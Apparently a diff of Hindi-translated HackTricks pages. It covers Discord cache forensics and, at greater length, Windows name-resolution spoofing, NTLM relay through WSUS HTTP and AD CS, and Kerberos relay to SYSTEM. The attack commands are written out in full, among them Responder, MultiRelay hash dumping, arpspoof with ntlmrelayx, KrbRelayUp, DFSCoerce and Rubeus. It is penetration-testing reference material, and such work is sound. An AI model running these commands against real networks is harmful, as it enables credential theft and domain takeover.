मीडिया को headers और body को अलग करके निकाला जा सकता है और वैकल्पिक रूप से Content-Encoding के आधार पर डीकम्प्रेस किया जा सकता है। जब Content-Type अनुपस्थित हो तब magic-byte sniffing उपयोगी होता है।
## Automated DFIR: Discord Forensic Suite (CLI/GUI)
- Repo: https://github.com/jwdfir/discord_cache_parser
- कार्य: Discord के cache फ़ोल्डर को recursively स्कैन करता है, webhook/API/attachment URLs ढूंढता है, f_* बॉडीज़ को पार्स करता है, वैकल्पिक रूप से media carve करता है, और SHA256 हैश के साथ HTML + CSV टाइमलाइन रिपोर्ट्स आउटपुट करता है।
उदाहरण CLI उपयोग:
```bash
# Acquire cache (copy directory for offline parsing), then run:
python3 discord_forensic_suite_cli \
--cache "%AppData%\discord\Cache\Cache_Data" \
--outdir C:\IR\discord-cache \
--output discord_cache_report \
--format both \
--timeline \
--extra \
--carve \
--verbose
```
मुख्य विकल्प:
- --cache: Cache_Data का पथ
- --format html|csv|both
- --timeline: क्रमबद्ध CSV timeline जारी करें (modified time के अनुसार)
- --extra: संबंधित Code Cache और GPUCache भी स्कैन करें
- --carve: regex हिट्स के पास raw bytes से media carve करें (images/video)
- Output: HTML रिपोर्ट, CSV रिपोर्ट, CSV timeline, और carved/extracted फ़ाइलों के साथ एक मीडिया फ़ोल्डर
## विश्लेषक सुझाव
- f_* और data_* फ़ाइलों के modified time (mtime) को user/attacker की गतिविधि विंडो के साथ मिलाकर एक टाइमलाइन पुनर्निर्मित करें।
- recovered media का hash (SHA-256) निकालें और known-bad या exfil datasets के साथ तुलना करें।
- Extracted webhook URLs की liveness जाँचें या उन्हें rotate करें; इन्हें blocklists और retro-hunting proxies में जोड़ने पर विचार करें।
- Server side पर “wiping” के बाद भी Cache बरकरार रहता है। अगर acquisition संभव हो, तो पूरे Cache directory और संबंधित sibling caches (Code Cache, GPUCache) इकट्ठा करें।
## References
- [Discord as a C2 and the cached evidence left behind](https://www.pentestpartners.com/security-blog/discord-as-a-c2-and-the-cached-evidence-left-behind/)
- [Discord Forensic Suite (CLI/GUI)](https://github.com/jwdfir/discord_cache_parser)
- [Discord Webhooks Execute Webhook](https://discord.com/developers/docs/resources/webhook#execute-webhook)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -7,71 +7,71 @@
### Local Host Resolution Protocols
- **LLMNR, NBT-NS, and mDNS**:
- Microsoft और अन्य ऑपरेटिंग सिस्टम LLMNR और NBT-NS का उपयोग स्थानीय नाम समाधान के लिए करते हैं जब DNS विफल हो जाता है। इसी तरह, Apple और Linux सिस्टम mDNS का उपयोग करते हैं।
- ये प्रोटोकॉल UDP पर अपनी बिना प्रमाणीकरण, प्रसारण प्रकृति के कारण इंटरसेप्शन और स्पूफिंग के प्रति संवेदनशील हैं।
- [Responder](https://github.com/lgandx/Responder) का उपयोग सेवाओं का अनुकरण करने के लिए किया जा सकता है, जो इन प्रोटोकॉल को क्वेरी करने वाले होस्ट को जाली प्रतिक्रियाएँ भेजता है।
- Responder का उपयोग करके सेवा अनुकरण पर अधिक जानकारी [यहाँ](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) मिल सकती है।
- Microsoft और अन्य ऑपरेटिंग सिस्टम DNS विफल होने पर लोकल नाम रिज़ोल्यूशन के लिए LLMNR और NBT-NS का उपयोग करते हैं। इसी तरह, Apple और Linux सिस्टम mDNS का उपयोग करते हैं।
- ये प्रोटोकॉल उनके अनऑथेंटिकेटेड, UDP पर ब्रॉडकास्ट प्रकृति के कारण इंटरसेप्ट और spoofing के प्रति संवेदनशील होते हैं।
- [Responder](https://github.com/lgandx/Responder) का उपयोग इन प्रोटोकॉल्स को क्वेरी करने वाले होस्ट्स को फ़ोर्ज्ड रिस्पॉन्स भेजकर सेवाओं का impersonate करने के लिए किया जा सकता है।
- Further information on service impersonation using Responder can be found [here](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
### Web Proxy Auto-Discovery Protocol (WPAD)
- WPAD ब्राउज़रों को स्वचालित रूप से प्रॉक्सी सेटिंग्स खोजने की अनुमति देता है।
- खोज DHCP, DNS, या DNS विफल होने पर LLMNR और NBT-NS पर वापस जाकर की जाती है।
- Responder WPAD हमलों को स्वचालित कर सकता है, ग्राहकों को दुर्भावनापूर्ण WPAD सर्वरों की ओर निर्देशित करता है
- WPAD ब्राउज़रों को proxy सेटिंग्स स्वतः खोजने की सुविधा देता है।
- Discovery DHCP, DNS के माध्यम से या DNS विफल होने पर LLMNR और NBT-NS पर fallback के जरिए किया जाता है।
- Responder WPAD attacks को automate कर सकता है, ग्राहकों को malicious WPAD सर्वरों की ओर निर्देशित करके
### Responder for Protocol Poisoning
- **Responder** एक उपकरण है जिसका उपयोग LLMNR, NBT-NS, और mDNS क्वेरीज़ को विषाक्त करने के लिए किया जाता है, जो क्वेरी प्रकारों के आधार पर चयनात्मक रूप से प्रतिक्रिया करता है, मुख्य रूप से SMB सेवाओं को लक्षित करता है।
- यह Kali Linux में पूर्व-स्थापित आता है, जिसे `/etc/responder/Responder.conf` पर कॉन्फ़िगर किया जा सकता है।
- Responder स्क्रीन पर कैप्चर किए गए हैश प्रदर्शित करता है और उन्हें `/usr/share/responder/logs` निर्देशिका में सहेजता है।
- यह IPv4 और IPv6 दोनों का समर्थन करता है।
- Windows संस्करण का Responder [यहाँ](https://github.com/lgandx/Responder-Windows) उपलब्ध है।
- **Responder** एक टूल है जो LLMNR, NBT-NS, और mDNS क्वेरीज़ को poison करने के लिए उपयोग किया जाता है, क्वेरी प्रकारों के आधार पर selective responses देता है और मुख्य रूप से SMB सेवाओं को लक्षित करता है।
- यह Kali Linux में pre-installed आता है और `/etc/responder/Responder.conf` पर कॉन्फ़िगर किया जा सकता है।
- Responder पकड़े गए hashes को स्क्रीन पर दिखाता है और उन्हें `/usr/share/responder/logs` डायरेक्टरी में सेव करता है।
- यह IPv4 और IPv6 दोनों को सपोर्ट करता है।
- Windows version of Responder is available [here](https://github.com/lgandx/Responder-Windows).
#### Running Responder
- डिफ़ॉल्ट सेटिंग्स के साथ Responder चलाने के लिए: `responder -I <Interface>`
- अधिक आक्रामक प्रोबिंग के लिए (संभावित दुष्प्रभावों के साथ): `responder -I <Interface> -P -r -v`
- NTLMv1 चुनौतियों/प्रतिक्रियाओं को कैप्चर करने की तकनीकें: `responder -I <Interface> --lm --disable-ess`
- WPAD अनुकरण को सक्रिय किया जा सकता है: `responder -I <Interface> --wpad`
- NetBIOS अनुरोधों को हमलावर के IP पर हल किया जा सकता है, और एक प्रमाणीकरण प्रॉक्सी सेट किया जा सकता है: `responder.py -I <interface> -Pv`
- To run Responder with default settings: `responder -I <Interface>`
- For more aggressive probing (with potential side effects): `responder -I <Interface> -P -r -v`
- Techniques to capture NTLMv1 challenges/responses for easier cracking: `responder -I <Interface> --lm --disable-ess`
- WPAD impersonation can be activated with: `responder -I <Interface> --wpad`
- NetBIOS requests can be resolved to the attacker's IP, and an authentication proxy can be set up: `responder.py -I <interface> -Pv`
### DHCP Poisoning with Responder
- DHCP प्रतिक्रियाओं को स्पूफ करना एक पीड़ित की रूटिंग जानकारी को स्थायी रूप से विषाक्त कर सकता है, ARP विषाक्तता के लिए एक अधिक छिपा हुआ विकल्प प्रदान करता है।
- यह लक्षित नेटवर्क की कॉन्फ़िगरेशन के बारे में सटीक ज्ञान की आवश्यकता होती है।
- हमले को चलाना: `./Responder.py -I eth0 -Pdv`
- यह विधि NTLMv1/2 हैश को प्रभावी ढंग से कैप्चर कर सकती है, लेकिन नेटवर्क में व्यवधान से बचने के लिए सावधानीपूर्वक हैंडलिंग की आवश्यकता होती है।
- Spoofing DHCP responses से शिकार के routing information को स्थायी रूप से poison किया जा सकता है, जो ARP poisoning की तुलना में अधिक stealthy विकल्प हो सकता है।
- इसके लिए target नेटवर्क के configuration का सटीक ज्ञान आवश्यक होता है।
- हमला चलाने के लिए: `./Responder.py -I eth0 -Pdv`
- यह विधि NTLMv1/2 hashes को प्रभावी ढंग से capture कर सकती है, लेकिन नेटवर्क disruption से बचने के लिए सावधानीपूर्वक हैंडलिंग की आवश्यकता होती है।
### Capturing Credentials with Responder
- Responder उपरोक्त प्रोटोकॉल का उपयोग करके सेवाओं का अनुकरण करेगा, जब कोई उपयोगकर्ता अनुकरणित सेवाओं के खिलाफ प्रमाणीकरण करने का प्रयास करता है, तो क्रेडेंशियल्स (आमतौर पर NTLMv2 Challenge/Response) कैप्चर करता है
- NetNTLMv1 में डाउनग्रेड करने या आसान क्रेडेंशियल क्रैकिंग के लिए ESS को निष्क्रिय करने का प्रयास किया जा सकता है।
- Responder उपर्युक्त प्रोटोकॉल्स का उपयोग करके सेवाओं का impersonate करेगा और जब उपयोगकर्ता spoofed सेवाओं के खिलाफ authenticate करने का प्रयास करेगा तो क्रेडेंशियल्स (अक्सर NTLMv2 Challenge/Response) capture कर लेगा
- आसान credential cracking के लिए NetNTLMv1 पर downgrade करने या ESS को disable करने का प्रयास किया जा सकता है।
यह महत्वपूर्ण है कि इन तकनीकों का पयोग कानूनी और नैतिक रूप से किया जाए, उचित प्राधिकरण सुनिश्चित करते हुए और व्यवधान या अनधिकृत पहुंच से बचते हुए।
यह बहुत ज़रूरी है कि इन तकनीकों का प्रयोग कानूनी और नैतिक तरीके से, उचित authorization लेकर ही किया जाए और unauthorized access या disruption से बचा जाए।
## Inveigh
Inveigh एक उपकरण है जो पेनिट्रेशन टेस्टर्स और रेड टीमर्स के लिए डिज़ाइन किया गया है, जो Windows सिस्टम के लिए है। यह Responder के समान कार्यक्षमताएँ प्रदान करता है, स्पूफिंग और मैन-इन-द-मिडल हमले करता है। यह उपकरण PowerShell स्क्रिप्ट से C# बाइनरी में विकसित हुआ है, जिसमें [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) और [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero) मुख्य संस्करण हैं। विस्तृत पैरामीटर और निर्देश [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters) में मिल सकते हैं।
Inveigh Windows systems के लिए डिज़ाइन किया गया एक टूल है जो penetration testers और red teamers के लिए है। यह Responder जैसी spoofing और man-in-the-middle attacks की सुविधाएँ प्रदान करता है। यह टूल एक PowerShell स्क्रिप्ट से C# बाइनरी में विकसित हुआ है, और मुख्य संस्करण हैं [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) और [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero)। विस्तृत पैरामीटर और निर्देशों के लिए [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters) देखें।
Inveigh को PowerShell के माध्यम से संचालित किया जा सकता है:
Inveigh को PowerShell के माध्यम से चाया जा सकता है:
```bash
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y
```
या C# बाइनरी के रूप में निष्पादित किया गया:
या C# binary के रूप में निष्पादित किया गया:
```bash
Inveigh.exe
```
### NTLM Relay Attack
यह हमला SMB प्रमाणीकरण सत्रों का उपयोग करके एक लक्षित मशीन तक पहुँचने के लिए किया जाता है, यदि सफल होता है तो एक सिस्टम शेल प्रदान करता है। मुख्य पूर्वापेक्षाएँ शामिल हैं:
यह हमला SMB authentication sessions का उपयोग करके लक्ष्य मशीन तक पहुँच बनाता है, और सफल होने पर system shell प्रदान करता है। प्रमुख पूर्व-आवश्यकताएँ हैं:
- प्रमाणीकरण करने वाले उपयोगकर्ता को रिले किए गए होस्ट पर स्थानीय व्यवस्थापक पहुँच होनी चाहिए।
- SMB साइनिंग को अक्षम किया जाना चाहिए।
- प्रमाणीकृत user के पास relayed host पर Local Admin access होना चाहिए।
- SMB signing disabled होना चाहिए।
#### 445 Port Forwarding and Tunneling
उन परिदृश्यों में जहाँ सीधे नेटवर्क परिचय संभव नहीं है, पोर्ट 445 पर ट्रैफ़िक को अग्रेषित और टनल करने की आवश्यकता होती है। [**PortBender**](https://github.com/praetorian-inc/PortBender) जैसे उपकरण पोर्ट 445 के ट्रैफ़िक को दूसरे पोर्ट पर पुनर्निर्देशित करने में मदद करते हैं, जो ड्राइवर लोडिंग के लिए स्थानीय व्यवस्थापक पहुँच उपलब्ध होने पर आवश्यक है
जहाँ सीधे नेटवर्क कनेक्शन संभव नहीं है, वहाँ port 445 का ट्रैफ़िक forward और tunnel किया जाना चाहिए। Tools जैसे [**PortBender**](https://github.com/praetorian-inc/PortBender) port 445 ट्रैफ़िक को किसी अन्य पोर्ट पर redirect करने में मदद करते हैं, जो तब आवश्यक होता है जब Local Admin access ड्राइवर लोड करने के लिए उपलब्ध हो
PortBender सेटअप और संचालन Cobalt Strike में:
PortBender setup and operation in Cobalt Strike:
```bash
Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)
@ -87,17 +87,17 @@ beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop
```
### NTLM रिले हमले के लिए अन्य उपकरण
### NTLM Relay Attack के लिए अन्य टूल
- **Metasploit**: प्रॉक्सी, स्थानीय और दूरस्थ होस्ट विवरण के साथ सेटअप करें।
- **smbrelayx**: SMB सत्रों को रिले करने और कमांड निष्पादित करने या बैकडोर तैनात करने के लिए एक Python स्क्रिप्ट
- **MultiRelay**: Responder सूट से एक उपकरण जो विशिष्ट उपयोगकर्ताओं या सभी उपयोगकर्ताओं को रिले करने, कमांड निष्पादित करने या हैश डंप करने के लिए है।
- **Metasploit**: proxies, local और remote host विवरण के साथ सेटअप करें।
- **smbrelayx**: SMB sessions relay करने, commands execute करने या backdoors deploy करने के लिए एक Python script
- **MultiRelay**: Responder suite का एक tool जो specific users या सभी users को relay कर सकता है, commands execute कर सकता है, या hashes dump कर सकता है।
प्रत्येक उपकरण को आवश्यकतानुसार SOCKS प्रॉक्सी के माध्यम से संचालित करने के लिए कॉन्फ़िगर किया जा सकता है, जिससे अप्रत्यक्ष नेटवर्क पहुंच के साथ भी हमले सक्षम होते हैं।
प्रत्येक tool को आवश्यकता होने पर SOCKS proxy के माध्यम से चलने के लिए configure किया जा सकता है, जिससे indirect network access के बावजूद भी attacks संभव होते हैं।
### MultiRelay संचाल
### MultiRelay ऑपरेश
MultiRelay _**/usr/share/responder/tools**_ निर्देशिका से निष्पादित किया जाता है, विशिष्ट IPs या उपयोगकर्ताओं को लक्षित करता है।
MultiRelay को _**/usr/share/responder/tools**_ directory से execute किया जाता है, जो specific IPs या users को target करता है।
```bash
python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
@ -105,78 +105,138 @@ python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes
# Proxychains for routing traffic
```
ये उपकरण और तकनीकें विभिन्न नेटवर्क वातावरण में NTLM रिले हमलों को संचालित करने के लिए एक व्यापक सेट बनाती हैं।
ये tools और techniques विविध नेटवर्क वातावरणों में NTLM Relay attacks करने के लिए एक व्यापक सेट बनाते हैं।
### NTLM लॉगिन को मजबूर करना
### WSUS HTTP (8530) का दुरुपयोग करके NTLM Relay to LDAP/SMB/AD CS (ESC8)
Windows में आप **कुछ विशेषाधिकार प्राप्त खातों को मनमाने मशीनों पर प्रमाणीकरण करने के लिए मजबूर कर सकते हैं**। जानने के लिए निम्नलिखित पृष्ठ पढ़ें:
WSUS clients अपने update server के साथ NTLM over HTTP (8530) या HTTPS (8531) का उपयोग करके authenticate करते हैं। जब HTTP enabled होता है, तो स्थानीय सेगमेंट पर periodic client check-ins को मजबूर या intercept करके ntlmrelayx के साथ LDAP/LDAPS/SMB या AD CS HTTP endpoints (ESC8) पर बिना किसी hash-cracking के relay किया जा सकता है। यह सामान्य update ट्रैफ़िक में मिल जाता है और अक्सर machine-account authentications (HOST$) देता है।
क्या देखें
- GPO/registry कॉन्फ़िगरेशन HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate और ...\WindowsUpdate\AU के तहत:
- WUServer (उदा., http://wsus.domain.local:8530)
- WUStatusServer (reporting URL)
- UseWUServer (1 = WSUS; 0 = Microsoft Update)
- DetectionFrequencyEnabled और DetectionFrequency (hours)
- WSUS SOAP endpoints जो clients HTTP पर उपयोग करते हैं:
- /ClientWebService/client.asmx (approvals)
- /ReportingWebService/reportingwebservice.asmx (status)
- डिफ़ॉल्ट पोर्ट्स: 8530/tcp HTTP, 8531/tcp HTTPS
Reconnaissance
- बिना प्रमाणीकरण
- listeners के लिए scan करें: nmap -sSVC -Pn --open -p 8530,8531 -iL <hosts>
- L2 MITM के जरिए HTTP WSUS ट्रैफ़िक को sniff करें और सक्रिय clients/endpoints को wsusniff.py के साथ लॉग करें ( केवल HTTP, जब तक आप clients को आपकी TLS cert पर भरोसा करवा न सकें)।
- प्रमाणीकरण के साथ
- SYSVOL GPOs को MANSPIDER + regpol के साथ parse करके WSUS keys खोजें (wsuspider.sh wrapper WUServer/WUStatusServer/UseWUServer का सार देता है)।
- hosts से बड़े पैमाने पर या लोकल से endpoints query करें (NetExec):
nxc smb <ip> -u <user> -p <pass> -M reg-query -o PATH="HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate" KEY="WUServer"
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate
End-to-end HTTP relay steps
1) MITM के लिए पोज़िशन लें (same L2) ताकि कोई client WSUS server को आपको resolve करे (ARP/DNS poisoning, Bettercap, mitm6, आदि)। arpspoof के साथ उदाहरण:
arpspoof -i <iface> -t <wsus_client_ip> <wsus_server_ip>
2) पोर्ट 8530 को अपने relay listener पर redirect करें (वैकल्पिक, सुविधाजनक):
iptables -t nat -A PREROUTING -p tcp --dport 8530 -j REDIRECT --to-ports 8530
iptables -t nat -L PREROUTING --line-numbers
3) HTTP listener के साथ ntlmrelayx शुरू करें (HTTP listener के लिए Impacket support चाहिए; नीचे PRs देखें):
ntlmrelayx.py -t ldap://<DC> -smb2support -socks --keep-relaying --http-port 8530
अन्य सामान्य लक्ष्य:
- SMB पर relay करें (यदि signing off है) exec/dump के लिए: -t smb://<host>
- LDAPS पर relay करें डायरेक्टरी बदलावों के लिए (उदा., RBCD): -t ldaps://<DC>
- AD CS web enrollment (ESC8) पर relay करके cert बनवाएँ और बाद में Schannel/PKINIT से authenticate करें:
ntlmrelayx.py --http-port 8530 -t http://<CA>/certsrv/certfnsh.asp --adcs --no-http-server
AD CS के Abuse paths और tooling के बारे में गहराई से देखने के लिए AD CS पेज देखें:
{{#ref}}
../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md
{{#endref}}
4) किसी client check-in को trigger करें या schedule का इंतज़ार करें। एक client से:
wuauclt.exe /detectnow
या Windows Update UI का उपयोग करें (Check for updates)।
5) प्रमाणीकृत SOCKS sessions का उपयोग करें (यदि -socks) या post-exploitation के लिए direct relay परिणामों का इस्तेमाल करें (LDAP changes, SMB ops, या बाद के authentication के लिए AD CS certificate जारी करना)।
HTTPS प्रतिबंध (8531)
- यदि clients आपकी certificate पर भरोसा नहीं करते तो WSUS पर HTTPS का passive interception प्रभावहीन है। एक trusted cert या अन्य TLS break के बिना, WSUS HTTPS ट्रैफ़िक से NTLM handshake को harvest/relay नहीं किया जा सकता।
नोट्स
- WSUS को deprecated घोषित किया गया था पर यह अभी भी व्यापक रूप से तैनात है; HTTP (8530) कई वातावरणों में अभी भी सामान्य है।
- उपयोगी सहायक टूल: wsusniff.py (HTTP WSUS check-ins देखें), wsuspider.sh (GPOs से WUServer/WUStatusServer enumerate करें), NetExec reg-query बड़े पैमाने पर।
- Impacket ने ntlmrelayx के लिए HTTP listener support PR #2034 में पुनर्स्थापित किया (मूल रूप से PR #913 में जोड़ा गया था)।
### Force NTLM Logins
Windows में आप कुछ privileged accounts को arbitrary machines पर authenticate करने के लिए मजबूर कर सकते हैं। कैसे करें जानने के लिए नीचे दी गई पेज पढ़ें:
{{#ref}}
../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md
{{#endref}}
## Kerberos रिले हमला
## Kerberos Relay attack
एक **Kerberos रिले हमला** एक **AP-REQ टिकट** को एक सेवा से चुराता है और इसे दूसरी सेवा के खिलाफ पुनः उपयोग करता है जो **एक ही कंप्यूटर-खाता कुंजी** साझा करती है (क्योंकि दोनों SPNs एक ही `$` मशीन खाते पर होते हैं)। यह काम करता है भले ही SPNs की **सेवा श्रेणियाँ भिन्न** हों (जैसे `CIFS/``LDAP/`) क्योंकि *कुंजी* जो टिकट को डिक्रिप्ट करती है वह मशीन का NT हैश है, न कि SPN स्ट्रिंग स्वयं और SPN स्ट्रिंग हस्ताक्षर का हिस्सा नहीं है।
एक Kerberos relay attack एक AP-REQ ticket चुराता है एक service से और उसी कंप्यूटर-account key साझा करने वाली दूसरी service के खिलाफ फिर से उपयोग करता है (क्योंकि दोनों SPNs एक ही `$` machine account पर होते हैं)। यह तब भी काम करता है जब SPNs की service classes अलग हों (उदा. `CIFS/``LDAP/`) क्योंकि उस टिकट को decrypt करने वाली key मशीन का NT hash है, SPN string खुद नहीं, और SPN string signature का हिस्सा नहीं होता
NTLM रिले के विपरीत, कूद *एक ही होस्ट* तक सीमित है लेकिन, यदि आप एक प्रोटोकॉल को लक्षित करते हैं जो आपको LDAP में लिखने की अनुमति देता है, तो आप **Resource-Based Constrained Delegation (RBCD)** या **AD CS नामांकन** में चेन कर सकते हैं और एक ही बार में **NT AUTHORITY\SYSTEM** को पॉप कर सकते हैं।
NTLM relay के विपरीत, यह hop उसी host तक सीमित है पर अगर आप किसी ऐसे protocol को target करें जो LDAP में लिखने देता है, तो आप chain कर सकते हैं Resource-Based Constrained Delegation (RBCD) या AD CS enrollment में और एक ही बार में NT AUTHORITY\SYSTEM को pop कर सकते हैं।
इस हमले के बारे में विस्तृत जानकारी के लिए जांचें:
इस attack के बारे में विस्तृत जानकारी के लिए देखें:
- [https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html](https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html)
- [https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/](https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/)
- 1. **Kerberos के मूल बातें**
- 1. **Kerberos basics**
| टोकन | उद्देश्य | रिले प्रासंगिकता |
| टोकन | उद्देश्य | रिले से प्रासंगिकता |
|-------|---------|-----------------|
| **TGT / AS-REQ ↔ REP** | KDC के लिए उपयोगकर्ता को प्रमाणित करता है | बिना छेड़छाड़ |
| **सेवा टिकट / TGS-REQ ↔ REP** | एक **SPN** से बंधा; SPN मालिक की कुंजी से एन्क्रिप्ट किया गया | यदि SPNs खाता साझा करते हैं तो आपस में बदलने योग्य |
| **AP-REQ** | क्लाइंट सेवा को `TGS` भेजता है | **जो हम चुराते हैं और पुनः खेलते हैं** |
| **TGT / AS-REQ ↔ REP** | उपयोगकर्ता को KDC के सामने प्रमाणित करता है | अप्रभावित |
| **Service ticket / TGS-REQ ↔ REP** | एक **SPN** पर बाउंड; SPN owner की key से encrypted | interchangeable अगर SPNs account साझा करते हैं |
| **AP-REQ** | क्लाइंट service को `TGS` भेजता है | **इसीे को हम चुराते हैं और replay करते हैं** |
* टिकटों को **SPN के मालिक के खाते की पासवर्ड-व्युत्पन्न कुंजी** से एन्क्रिप्ट किया गया है।
* AP-REQ के अंदर **Authenticator** में 5-मिनट का टाइमस्टैम्प होता है; उस विंडो के अंदर पुनः खेलना तब तक मान्य है जब तक सेवा कैश एक डुप्लिकेट नहीं देखता।
* Windows शायद ही कभी यह जांचता है कि टिकट में SPN स्ट्रिंग उस सेवा से मेल खाती है जिसे आप हिट करते हैं, इसलिए `CIFS/HOST` के लिए एक टिकट सामान्यतः `LDAP/HOST` पर ठीक से डिक्रिप्ट होता है।
* टिकट्स को encrypt किया जाता है उस account की **password-derived key** से जो SPN का मालिक है।
* AP-REQ के अंदर **Authenticator** में 5-минट का timestamp होता है; उस window के अंदर replay वैध है जब तक service cache duplicate नहीं देखता।
* Windows अक्सर यह चेक नहीं करता कि टिकट में SPN string उस service से मेल खाती है जिसे आप hit कर रहे हैं, इसलिए `CIFS/HOST` के लिए टिकट आमतौर पर `LDAP/HOST` पर भी सही तरह से decrypt हो जाता है।
- 2. **Kerberos को रिले करने के लिए क्या सच होना चाहिए**
- 2. **Kerberos relay करने के लिए क्या सच्चा होना चाहिए**
1. **साझा कुंजी:** स्रोत और लक्ष्य SPNs एक ही कंप्यूटर खाते से संबंधित हैं (Windows सर्वरों पर डिफ़ॉल्ट)।
2. **कोई चैनल सुरक्षा नहीं:** SMB/LDAP साइनिंग बंद और HTTP/LDAPS के लिए EPA बंद।
3. **आप प्रमाणीकरण को इंटरसेप्ट या मजबूर कर सकते हैं:** LLMNR/NBNS जहर, DNS धोखा, **PetitPotam / DFSCoerce RPC**, नकली AuthIP, बागी DCOM, आदि।
4. **टिकट स्रोत पहले से उपयोग नहीं किया गया:** आप असली पैकेट हिट होने से पहले दौड़ जीतते हैं या इसे पूरी तरह से ब्लॉक करते हैं; अन्यथा सर्वर का पुनः खेल कैश इवेंट 4649 को सक्रिय करता है।
5. आपको संचार में **MitM करने में सक्षम होना चाहिए** शायद DNSAmins समूह का हिस्सा बनकर डोमेन का DNS संशोधित करने के लिए या पीड़ित की HOST फ़ाइल को बदलने में सक्षम होना चाहिए।
1. **Shared key:** source और target SPNs एक ही computer account के हों (Windows servers पर डिफ़ॉल्ट)।
2. **No channel protection:** SMB/LDAP signing बंद और HTTP/LDAPS के लिए EPA बंद।
3. **आप authentication intercept या coercion कर सकें:** LLMNR/NBNS poison, DNS spoof, **PetitPotam / DFSCoerce RPC**, fake AuthIP, rogue DCOM, आदि।
4. **Ticket source पहले से उपयोग में न हो:** रेस आप जीतें इससे पहले कि असली पैकेट पहुँचे या उसे पूरी तरह ब्लॉक करें; वरना server का replay cache Event 4649 फायर करेगा
5. आपको किसी तरह MitM प्रदर्शन करने में सक्षम होना चाहिए — संभवतः DNSAdmins group का हिस्सा होकर domain के DNS में बदलाव करने या victim के HOST फाइल को बदलने की क्षमता होना
### Kerberos रिले चरण
### Kerberos Relay Steps
- 3.1 **होस्ट की पहचान करें**
- 3.1 **Recon the host**
```powershell
# find servers where HTTP, LDAP or CIFS share the same machine account
Get-ADComputer -Filter * -Properties servicePrincipalName |
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
Select Name,servicePrincipalName
```
- 3.2 **रिले श्रोता शुरू करें**
- 3.2 **relay listener शुरू करें**
[KrbRelayUp](https://github.com/Dec0ne/KrbRelayUp)
```powershell
# one-click local SYSTEM via RBCD
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8
```
`KrbRelayUp` **KrbRelay → LDAP → RBCD → Rubeus → SCM बायपास** को एक बाइनरी में लपेटता है।
`KrbRelayUp` एक ही बाइनरी में **KrbRelay → LDAP → RBCD → Rubeus → SCM bypass** को समाहित करता है।
- 3.3 **Kerberos प्रमाणीकरण को मजबूर करें**
- 3.3 **Coerce Kerberos auth**
```powershell
# coerce DC to auth over SMB with DFSCoerce
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50
```
DFSCoerce DC को Kerberos `CIFS/DC01` टिकट भेजने के लिए मजबूर करता है।
DFSCoerce DC को हमें एक Kerberos `CIFS/DC01` टिकट भेजवाता है।
- 3.4 **AP-REQ को रिले करें**
- 3.4 **Relay the AP-REQ**
KrbRelay SMB से GSS ब्लॉब निकालता है, इसे LDAP बाइंड में फिर से पैकेज करता है, और इसे `ldap://DC01` पर अग्रेषित करता है—प्रमाणीकरण सफल होता है क्योंकि **वही कुंजी** इसे डिक्रिप्ट करती है।
KrbRelay SMB से GSS blob निकालता है, उसे LDAP bind में पुनः पैकेज करता है, और `ldap://DC01` पर फ़ॉरवर्ड कर देता है — प्रमाणीकरण सफल हो जाता है क्योंकि **वही कुंजी** इसे डीक्रिप्ट कर देती है।
- 3.5 **LDAP का दुरुपयोग ➜ RBCD ➜ SYSTEM**
- 3.5 **Abuse LDAP ➜ RBCD ➜ SYSTEM**
```powershell
# (auto inside KrbRelayUp) manual for clarity
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
@ -184,47 +244,58 @@ KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
SCMUACBypass.exe
```
आप अब **NT AUTHORITY\SYSTEM** के मालिक है
आपके पास अब **NT AUTHORITY\SYSTEM** है।
### **जानने लायक और रास्ते**
| वेक्टर | चाल | यह क्यों महत्वपूर्ण है |
### **और रास्ते जिन्हें जानना उपयोगी है**
| Vector | Trick | Why it matters |
|--------|-------|----------------|
| **AuthIP / IPSec** | नकली सर्वर किसी भी SPN के साथ **GSS-ID पेलोड** भेजता है; क्लाइंट सीधे आपके लिए AP-REQ बनाता है | यह सबनेट के पार भी काम करता है; मशीन क्रेडेंशियल्स डिफ़ॉल्ट रूप से |
| **DCOM / MSRPC** | दुर्भावनापूर्ण OXID रिसोल्वर क्लाइंट को मनमाने SPN और पोर्ट पर प्रमाणीकरण करने के लिए मजबूर करता है | शुद्ध *स्थानीय* प्रिव-एस्क; फ़ायरवॉल को बायपास करता है |
| **AD CS वेब एनरोल** | `HTTP/CA` पर मशीन टिकट को रिले करें और एक प्रमाणपत्र प्राप्त करें, फिर **PKINIT** का उपयोग करके TGT बनाएं | LDAP साइनिंग सुरक्षा को बायपास करता है |
| **शैडो क्रेडेंशियल्स** | `msDS-KeyCredentialLink` लिखें, फिर जाली कुंजी जोड़ी के साथ PKINIT करें | कंप्यूटर खाता जोड़ने की आवश्यकता नहीं |
